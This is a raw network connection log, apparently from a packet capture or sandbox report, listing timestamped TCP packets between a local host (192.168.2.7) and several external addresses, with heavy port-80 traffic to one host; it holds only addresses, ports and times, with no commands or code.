Nov 15, 2024 09:55:41.832703114 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.832719088 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.832784891 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.832798004 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.832844973 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.834409952 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.834431887 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.834487915 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.834501028 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.834544897 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.835226059 CET	443	49932	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.835365057 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.835381985 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.835427046 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.835438967 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.835483074 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.835588932 CET	49932	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.835614920 CET	443	49932	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.835951090 CET	443	49932	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.836639881 CET	49932	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.836700916 CET	443	49932	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.872977972 CET	49929	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:41.887046099 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.890352964 CET	443	49931	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.896220922 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.896251917 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.896738052 CET	49931	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.896759987 CET	443	49931	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.897063017 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.897068024 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.897185087 CET	49931	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.897188902 CET	443	49931	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.900142908 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.900162935 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.900224924 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.900233030 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.900465012 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.903862953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.903896093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.903906107 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.903963089 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.903963089 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.903990030 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.903997898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904011965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904031992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904036999 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904048920 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904059887 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904067993 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904079914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904089928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904093027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904104948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904117107 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904134035 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904155016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904165030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904170990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904181957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904191971 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904192924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904206991 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904208899 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904225111 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904233932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904242992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904262066 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904263973 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904275894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904283047 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904294968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904303074 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904304028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904315948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904316902 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904336929 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904339075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904350996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904361963 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904362917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904383898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904386044 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904396057 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904407978 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904409885 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904419899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904436111 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904444933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904459000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904467106 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904479027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904485941 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904491901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904501915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904512882 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904515982 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904539108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904539108 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904551983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904552937 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904577971 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904591084 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904594898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904628992 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904658079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904669046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904680014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904692888 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904710054 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904711008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904731989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904737949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904743910 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904745102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904773951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904778004 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904787064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904800892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904808998 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904812098 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904824018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904834032 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904845953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904863119 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904880047 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904896021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904906988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904920101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904931068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904938936 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904969931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904980898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.904997110 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.904997110 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905010939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905021906 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905024052 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905034065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905039072 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905041933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905086994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905092955 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905109882 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905127048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905139923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905147076 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905153036 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905162096 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905167103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905177116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905188084 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905189037 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905214071 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905216932 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905229092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905230999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905244112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905255079 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905256987 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905267954 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905286074 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905313969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905324936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905347109 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905350924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905363083 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905369997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905395031 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905396938 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905406952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905411959 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905426979 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905438900 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905468941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905488014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905498981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905504942 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905509949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905525923 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905531883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905544043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905544043 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905555964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905569077 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905592918 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905620098 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905631065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905642986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905657053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905661106 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905669928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905678034 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905700922 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905708075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905724049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905741930 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905762911 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905797958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905810118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905822992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905833006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905844927 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905848026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905862093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905870914 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905875921 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905888081 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905914068 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.905966997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905977964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.905989885 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.906002998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.906013012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.906025887 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.906066895 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.906189919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.906200886 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.906228065 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.909262896 CET	49933	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.909267902 CET	49932	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.922149897 CET	49937	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:41.922189951 CET	443	49937	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:41.922338963 CET	49937	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:41.922588110 CET	49937	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:41.922597885 CET	443	49937	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:41.925194025 CET	49938	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:41.925234079 CET	443	49938	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:41.925303936 CET	49938	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:41.925558090 CET	49938	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:41.925569057 CET	443	49938	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:41.949493885 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.949522972 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.949554920 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.949569941 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.949595928 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.949611902 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.949947119 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.949964046 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.950000048 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.950004101 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.950031042 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.950050116 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.950462103 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.950479031 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.950526953 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.950534105 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.950570107 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.951365948 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.951386929 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.951422930 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.951426983 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.951463938 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.951885939 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.951951027 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.952490091 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.957551003 CET	49939	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:41.957582951 CET	443	49939	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:41.957650900 CET	49939	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:41.957976103 CET	49939	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:41.957992077 CET	443	49939	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:41.959834099 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.959850073 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.988454103 CET	49940	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:41.988485098 CET	443	49940	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:41.988544941 CET	49940	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:41.988805056 CET	49940	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:41.988816977 CET	443	49940	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:41.989474058 CET	49941	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:41.989545107 CET	443	49941	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:41.990418911 CET	49941	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:41.990798950 CET	49941	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:41.990849972 CET	443	49941	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:42.020997047 CET	443	49931	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.021019936 CET	443	49931	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.021076918 CET	443	49931	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.021092892 CET	49931	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.021126032 CET	49931	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.021611929 CET	49931	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.021626949 CET	443	49931	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.021639109 CET	49931	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.021645069 CET	443	49931	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.022661924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022718906 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022731066 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022749901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.022777081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022792101 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.022792101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022811890 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.022816896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022829056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022835016 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.022840977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022855043 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.022859097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022871017 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.022871971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022885084 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022886038 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.022903919 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.022926092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.022949934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022959948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022980928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.022991896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.022994995 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023009062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023020029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023027897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023030996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023041010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023049116 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023052931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023063898 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023073912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023081064 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023097992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023107052 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023111105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023130894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023144007 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023145914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023159027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023170948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023180008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023192883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023192883 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023205996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023206949 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023226023 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023226976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023237944 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023241997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023255110 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023256063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023269892 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023283958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023309946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023329973 CET	80	49872	185.215.113.206	192.168.2.7
